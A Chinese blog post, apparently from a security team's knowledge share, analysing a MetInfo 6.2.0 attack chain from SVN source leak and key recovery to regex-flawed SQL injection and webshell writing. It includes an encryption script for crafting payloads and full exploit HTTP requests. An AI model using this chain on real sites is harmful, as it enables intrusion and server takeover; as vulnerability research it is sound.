【技術分享】metinfo 6.2.0正則匹配不嚴謹導致注入+getshell組合拳

今天公司做技術分享,分享了項目中的一個攻擊metinfo的案例,很有意思的攻擊鏈,記錄下。
svn泄露

svn是一個開放源代碼的版本控制系統,如果在網站中存在.svn目錄,那么我們可以拿到網站的源代碼,方便審計。關于svn泄露需要注意的是SVN 版本 >1.7 時,Seay的工具不能dump源碼了。可以用@admintony師傅的腳本來利用 https://github.com/admintony/svnExploit/
在目標站中發現了http://php.local/.svn/目錄泄露源代碼,發現是metinfo cms,拿到了位于config/config_safe.php中的key,這個key起到了很大作用。
什么是key呢?為什么要有這個key呢?
在metinfo安裝完成后,會在config/config_safe.php寫入一個key,這個key是用來加密解密賬戶信息的,你可以在app/system/include/class/auth.class.php看到加解密算法。

可以看到加解密采用了$this->auth_key.$key作為鹽值,$key默認為空,那么這個$this->auth_key在哪定義的呢?
config/config.inc.php:109

有了這個key,我們可以自己針對性去加密解密程序密文。
有什么用呢?大部分的cms都會有全局參數過濾,而metinfo的全局過濾簡直變態,我們很難直接從request中找到可用的sql注入,而加了密之后的參數一半不會再進行過濾了,我們可以找下可控的加密參數。
正則匹配導致的注入

全局搜索$auth->decode尋找可控的參數,并且不走過濾的。

app/system/user/web/getpassword.class.php:93
public function dovalid() {
global $_M;
$auth = load::sys_class('auth', 'new');
$email = $auth->decode($_M['form']['p']);
if(!is_email($email))$email = '';
if($email){
if($_M['form']['password']){
$user = $this->userclass->get_user_by_email($email);
if($user){
if($this->userclass->editor_uesr_password($user['id'],$_M['form']['password'])){
okinfo($_M['url']['login'], $_M['word']['modifypasswordsuc']);
}else{
okinfo($_M['url']['login'], $_M['word']['opfail']);
}
}else{
okinfo($_M['url']['login'], $_M['word']['NoidJS']);
}
}
require_once $this->view('app/getpassword_mailset',$this->input);
}else{
okinfo($_M['url']['register'], $_M['word']['emailvildtips2']);
}
}
可以看到$email直接從$_M['form']['p']中經過$auth->decode 解密獲取,并沒有進行過濾,然后在get_user_by_email($email)中代入數據庫查詢。但是經過了is_email($email)判斷是否為正確的郵箱地址。
跟進app/system/include/function/str.func.php:26
function is_email($email){
$flag = true;
$patten = '/[w-]+@[w-]+.[a-zA-Z.]*[a-zA-Z]$/';
if(preg_match($patten, $email) == 0){
$flag = false;
}
return $flag;
}
很正常的正則表達式,但是唯一缺少的是^起始符!那么我們構造如' and 1=1-- 1@qq.com也會返回true!
email要經過$auth->decode解密,這個時候我們的key就派上用場了,我們可以使用$auth->encode()來加密我們的payload傳進去,構成注入。
將auth類自己搞一份出來。
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0){
$ckey_length = 4;
$key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
}else{
return $keyc.str_replace('=', '', base64_encode($result));
}
}
print_r(urlencode(authcode($_GET['p'],'ENCODE','cqQWPRhV91To7PmrI5Dd3FGIxjMQpLmt','0')));

需要注意這個123@qq.com是你自己注冊的用戶,如果met_user表中不存在一條記錄,是延時不了的。

延時成功,你也可以構造布爾盲注,到此為止就是注入的部分,但是我們的目標是拿權限,一個注入就滿足了?
組合拳

app/system/include/class/web.class.php:467 省略部分代碼
public function __destruct(){
global $_M;
//讀取緩沖區數據
$output = str_replace(array('','','','','',"r",substr($admin_url,0,-1)),'',ob_get_contents());
ob_end_clean();//清空緩沖區
...
if($_M['form']['html_filename'] && $_M['form']['metinfonow'] == $_M['config']['met_member_force']){
//靜態頁
$filename = urldecode($_M['form']['html_filename']);
if(stristr(PHP_OS,"WIN")) {
$filename = @iconv("utf-8", "GBK", $filename);
}
if(stristr($filename, '.php')){
jsoncallback(array('suc'=>0));
}
if(file_put_contents(PATH_WEB.$filename, $output)){
jsoncallback(array('suc'=>1));
}else{
jsoncallback(array('suc'=>0));
}
}else{
echo $output;//輸出內容
}
...
}
在前臺基類web.class.php中有__destruct魔術方法,而在這個方法中使用file_put_contents(PATH_WEB.$filename, $output寫入文件,其中$output是通過ob_get_contents()獲取的緩沖區數據,而$filename是從$_M['form']['html_filename']拿出來的,我們可控。
但是有一個if條件$_M['form']['metinfonow'] == $_M['config']['met_member_force'],這個met_member_force在哪呢?在數據庫里,我們可以通過剛才的注入拿到!

那么我們現在的目的就變為怎么去控制$output也就是緩沖區的值。
ob_start()在服務器打開一個緩沖區來保存所有的輸出。所以在任何時候使用echo,輸出都將被加入緩沖區中,直到程序運行結束或者使用ob_flush()來結束。
也就是說我們只要找到web.class.php或者繼承web.class.php的子類中有可控的echo輸出,配合剛才的注入便可以寫入shell。
全局搜索extends web尋找子類,在子類中尋找可控echo輸出,最終找到的是app/system/include/module/uploadify.class.php的doupfile()方法
public function set_upload($info){
global $_M;
$this->upfile->set('savepath', $info['savepath']);
$this->upfile->set('format', $info['format']);
$this->upfile->set('maxsize', $info['maxsize']);
$this->upfile->set('is_rename', $info['is_rename']);
$this->upfile->set('is_overwrite', $info['is_overwrite']);
}
...
public function upload($formname){
global $_M;
$back = $this->upfile->upload($formname);
return $back;
}
...
public function doupfile(){
global $_M;
$this->upfile->set_upfile();
$info['savepath'] = $_M['form']['savepath'];
$info['format'] = $_M['form']['format'];
$info['maxsize'] = $_M['form']['maxsize'];
$info['is_rename'] = $_M['form']['is_rename'];
$info['is_overwrite'] = $_M['form']['is_overwrite'];
$this->set_upload($info);
$back = $this->upload($_M['form']['formname']);
if($_M['form']['type']==1){
if($back['error']){
$back['error'] = $back['errorcode'];
}else{
$backs['path'] = $back['path'];
$backs['append'] = 'false';
$back = $backs;
}
}
$back['filesize'] = round(filesize($back['path'])/1024,2);
echo jsonencode($back);
}
...
echo的$back變量是從$_M['form']['formname']取出來的,可控,向上推看back變量的取值由$this->upfile->upload($formname)決定,跟進。
public function upload($form = '') {
global $_M;
if($form){
foreach($_FILES as $key => $val){
if($form == $key){
$filear = $_FILES[$key];
}
}
}
if(!$filear){
foreach($_FILES as $key => $val){
$filear = $_FILES[$key];
break;
}
}
//是否能正常上傳
if(!is_array($filear))$filear['error'] = 4;
if($filear['error'] != 0 ){
$errors = array(
0 => $_M['word']['upfileOver4'],
1 => $_M['word']['upfileOver'],
2 => $_M['word']['upfileOver1'],
3 => $_M['word']['upfileOver2'],
4 => $_M['word']['upfileOver3'],
6 => $_M['word']['upfileOver5'],
7 => $_M['word']['upfileOver5']
);
$error_info[]= $errors[$filear['error']] ? $errors[$filear['error']] : $errors[0];
return $this->error($errors[$filear['error']]);
}
...
//文件大小是否正確{}
if ($filear["size"] > $this->maxsize || $filear["size"] > $_M['config']['met_file_maxsize']*1048576) {
return $this->error("{$_M['word']['upfileFile']}".$filear["name"]." {$_M['word']['upfileMax']} {$_M['word']['upfileTip1']}");
}
//文件后綴是否為合法后綴
$this->getext($filear["name"]); //獲取允許的后綴
if (strtolower($this->ext)=='php'||strtolower($this->ext)=='aspx'||strtolower($this->ext)=='asp'||strtolower($this->ext)=='jsp'||strtolower($this->ext)=='js'||strtolower($this->ext)=='asa') {
return $this->error($this->ext." {$_M['word']['upfileTip3']}");
}
...
}
省略部分代碼
我們要看return回去的值就是back變量的值,所以重點關注return的東西看是否可控。
首先是正常foreach取出上傳文件的信息,然后判斷是否能正常上傳-文件大小是否正確-文件后綴是否為合法后綴,如果有錯就return。到這里有兩種思路。
超出文件大小getshell


在后臺中最大文件大小是8m,如果我們上傳一個超出8m的文件,那么upload()函數就會return $this->error("{$_M['word']['upfileFile']}".$filear["name"]." {$_M['word']['upfileMax']} {$_M['word']['upfileTip1']}"); 而這個$filear["name"]是我們可控的,在foreach中賦值的。
那么這樣我們就可以把$filear["name"]改為shell,然后return回去,賦值給$back,echo進緩沖區,最后file_put_contents拿到shell,完美的利用鏈。
但是這個8m太大了,我們可以通過注入進后臺把這個限制改為0.0008
構造下payload,需要注意metinfonow參數是上文中從數據庫中取出的met_member_force
POST /admin/index.php?c=uploadify&m=include&a=doupfile&lang=cn&metinfonow=xwtpwmp&html_filename=1.php HTTP/1.1 Host: php.local Content-Length: 1120 Origin: http://php.local User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8tQiXReYsQYXHadW Accept: */* Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close ------WebKitFormBoundary8tQiXReYsQYXHadW Content-Disposition: form-data; name="test"; filename="" Content-Type: image/jpeg testtesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttest ------WebKitFormBoundary8tQiXReYsQYXHadW--



無后綴getshell
@mochazz師傅在先知上分享了一篇metinfo6.1.3的getshell,我自己測試在6.2.0中已經修復,不過還是提一下。
問題出在 app/system/include/class/upfile.class.php:139 getext()函數
如果不是合法后綴會return $this->error($this->ext." {$_M['word']['upfileTip3']}"),而$this->ext經過getext()函數,跟進
protected function getext($filename) {
if ($filename == "") {
return ;
}
$ext = explode(".", $filename);
$ext = $ext[count($ext) - 1];
return $this->ext = $ext;
}
直接return $ext,那么我們上傳一個無后綴的文件,文件名寫一句話就可以getshell


y
payload
POST /admin/index.php?c=uploadify&m=include&a=doupfile&lang=cn&metinfonow=xwtpwmp&html_filename=1.php HTTP/1.1 Host: php.local Content-Length: 194 Origin: http://php.local User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8tQiXReYsQYXHadW Accept: */* Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: XDEBUG_SESSION=PHPSTORM Connection: close ------WebKitFormBoundary8tQiXReYsQYXHadW Content-Disposition: form-data; name="test"; filename="" Content-Type: image/jpeg test ------WebKitFormBoundary8tQiXReYsQYXHadW--
而在6.2.0中,加入了一行正則判斷后綴,繞不過去,無法getshell
protected function getext($filename) {
if ($filename == "") {
return ;
}
$ext = explode(".", $filename);
$ext = $ext[count($ext) - 1];
if (preg_match("/^[0-9a-zA-Z]+$/u", $ext)) {
return $this->ext = $ext;
}
return $this->ext = '';
}
總結
- svn泄露分版本
- 注冊是郵件的正則匹配問題
- 參數加密一般不走全局過濾 找找注入
- 關注echo和ob_get_contents()函數 說不定能寫shell呢
參考鏈接
- https://nosec.org/home/detail/2436.html
- https://xz.aliyun.com/t/4425